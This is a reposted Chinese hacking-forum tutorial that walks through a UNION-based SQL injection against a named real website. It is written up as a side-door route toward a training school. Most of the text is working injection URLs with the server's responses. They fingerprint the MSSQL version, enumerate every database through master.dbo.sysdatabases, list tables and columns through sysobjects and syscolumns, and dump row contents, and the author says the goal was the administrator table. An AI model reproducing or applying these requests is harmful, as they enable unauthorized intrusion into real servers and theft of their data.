新手可以看看,这种详细的文章确实不多,赞一个 转载自习科

文章是我重新排的+截图  ——By:YoCo Smart
参考的是小默\’s blog的文章不知道是不是他原创,但是感谢“默默许愿消失了”

下面的注入语句很长,要注意select后面的是id还是name还是其他。

其实很简单,就是注入语句相当长。其实,我以早就会这种方式,只不过温习了一下。
转载请注明:来自习科信息技术 – 黑客作战营、
http://blackbap.org

目标:北大青鸟济南
方法:旁注
旁注目标:http://www.sdzhyl.com/
找到一个注入点:
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12
后面分别加and 1=1和and 1=2
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=1
返回正常页面。
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2
返回错误页面。

Warning: main(): PropGet() failed: 发生意外。 Source: ADODB.Field Description: BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。 in d:\\program files\\magic winmail\\server\\webmail\\www\\zhengheng\\performance\\sub.php on line 42

<ignore_js_op>

从回显看,这好像是一个php+MSSQL环境的网站。
猜字段数:
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=1+union+select+1
回显如下:

Warning: main(): Invoke() failed: 发生意外。 Source: Microsoft OLE DB Provider for SQL Server Description: 包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。 in d:\\program files\\magic winmail\\server\\webmail\\www\\zhengheng\\performance\\sub.php on line 41

<ignore_js_op>

确实是MSSQL微软的数据库。猜到3个
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=1+union+select+1,1,1
突然出现:

Warning: main(): Invoke() failed: 发生意外。 Source: Microsoft OLE DB Provider for SQL Server Description: 操作数类型冲突: ntext 与 int 不兼容 ind:\\program files\\magic winmail\\server\\webmail\\www\\zhengheng\\performance\\sub.php on line 41

<ignore_js_op>

上网上搜了一下,说什么的都有,结果都不管用。突然想起来,习科有个“小”字辈的成员说过,用union all代替union,用null代替数字段数的数字,等出来数目了,再慢慢用数字替换null,能不能出来显示位看人品,如果人品不好,再另想办法,但是这是最快的方法了。
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=1+union+all+select+null,null,null
这样,回显又成了,包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式
那么继续加null,到了:http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=1+union+all+select+null,null,null,null
四个的时候,终于又出来正常的页面了。
下面把and 1=1换成and 1=2,把null挨个换成数字,出错的话,换回null,挨个换。
这样就得到:
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,2,null,3
出来一个显示位:2

<ignore_js_op>

注意,下一步,和php+MySql的注入不同,下一步是爆出库名。看看有几个数据库。
不过我们先看看服务器数据库的版本:
显示位2换成@@version
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,@@version,null,3

<ignore_js_op>

得到:

Microsoft SQL Server 2000 – 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Personal Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

是MSSQL2000。好了,正式开始报库名(低版本IIS会被暴库,MSSQL注入可以爆库名,微软真是悲剧。。。)
显示位2换成:db_name(),查看当前库名:
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,db_name(),null,3
得到库名是:zhengheng
然后通过数据库的id获得数据库的名称:
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=1–
依然是and 1=2,2号显示位换成”name”,显示位字段数后面加上“from master.dbo.sysdatabases”,然后通过where选择dbid。上面的是dbid=1的数据库,库名就是:master
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=2–
第二个数据库名:tempdb
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=3–
第三个数据库名:model
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=4–
第四个数据库名:msdb
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=5–
第五个数据库名:pubs
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=6–
第六个数据库名:Northwind
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=7–
第七个数据库名:StrongCRM
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=8–
第八个数据库名:handson
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=9–
第九个数据库(当前数据库)名zhengheng
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=10–
第十个数据库名:tjlyweb2
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=11–
第十一个数据库名:tjtourstat

到了第12个
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=12–
回显:

Warning: main(): PropGet() failed: 发生意外。 Source: ADODB.Field Description: BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。 in d:\\program files\\magic winmail\\server\\webmail\\www\\zhengheng\\performance\\sub.php on line 41

<ignore_js_op>

dbid换成12到20都提示这个,可能服务器上就只有上面的11个数据库了。
下面依然通过查询id获得名称,不过这次不是数据库名,而是表名。

我们以当前数据库 zhengheng 为例,查询表的名字比较简单,但是语句比较长:
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+Northwind.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 1 name from Northwind.dbo.sysobjects where xtype=CHAR(85))–

不多解释,就是sql语句,其中两个地方要填写数据库名,格式是   数据库名.dbo.sysobjects,总过两个,要是一样的。如果不是当前的数据库,这就成了跨库查询,可能有的虚拟主机设置权限不让跨库查询。这里查的是:Northwind.dbo.sysobjects
括号里的最后一句: (select top 1 name from Northwind.dbo.sysobjects where xtype=CHAR(85))
这里面变化  top XX name 里面的数字即可,这个XX是表的序号。这样从top 1 一直查到 top 12,列出的表名称如下:
Products
Order Details
CustomerCustomerDemo
CustomerDemographics
Region
Territories
EmployeeTerritories
Employees
Categories
Customers
Shippers
Suppliers

再下面是查字段名了。查询字段名共分两步,
1、获得表段的总序号,注意是总序号,跟id不同,而且要区分好字段和表段
2、根据表的序号一个一个列出字段的名字
第一步:
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,id,null,3+from+Northwind.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 10 name from Northwind.dbo.sysobjects where xtype=CHAR(85))–
这里仍然是变化top XX,前面有几个XX,这里就可以有几个XX。
注意:不要以为上一步多余,字段的名字是必须知道的,光靠序号和id,后面是无法继续的

http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,id,null,3+from+Northwind.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 10 name from Northwind.dbo.sysobjects where xtype=CHAR(85))–
获得序号是:2073058421

<ignore_js_op>

这个序号要记好了,把这个序号复制下:
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from Northwind.dbo.syscolumns where ID=2073058421 and name not in (select top 1 name from Northwind.dbo.syscolumns where ID=2073058421)–

注意看了,上面select的是id,这里是name,from后面的数据库我就不说了,句子中有两个数据库名字,同样也有两个where id =
这个id等于就是前面步骤出来的 总序号,top这个,跟之前列表名的top不一样。前面是列表名,这里是列字名。
表名和字名不是一回事,数量自然是没法比的。
所以这里top1到topXXX列出来,就能列出id为2073058421即Northwind数据库的Products表段里面的字的名字了。
这个逻辑一定要搞清。

http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from Northwind.dbo.syscolumns where ID=2073058421 and name not in (select top 1 name from Northwind.dbo.syscolumns where ID=2073058421)–
第一个字段是city,第二个是CompanyName。。。。。

我们主要查的是管理员的表和字,这里就不继续查下去了
不过查来查去,我还是没找到管理员的表在哪里。。。。

根据前面得到的表名和字名,查询字段里的内容即可:
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,title,null,3+from+zhengheng..landed–

我查的跟上面列出来的例子里面的数据库、表。字不一样,跟着变就可以了。
我查的数据库是zhengheng,
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+zhengheng.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 15 name from zhengheng.dbo.sysobjects where xtype=CHAR(85))–
表段是landed,id是997578592,
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,id,null,3+from+zhengheng.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 15 name from zhengheng.dbo.sysobjects where xtype=CHAR(85))–
字段是title,
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from zhengheng.dbo.syscolumns where ID=997578592 and name not in (select top 2 name from zhengheng.dbo.syscolumns where ID=997578592)–
内容是:

2008年房地产评估项目

<ignore_js_op>

OK,编辑完成。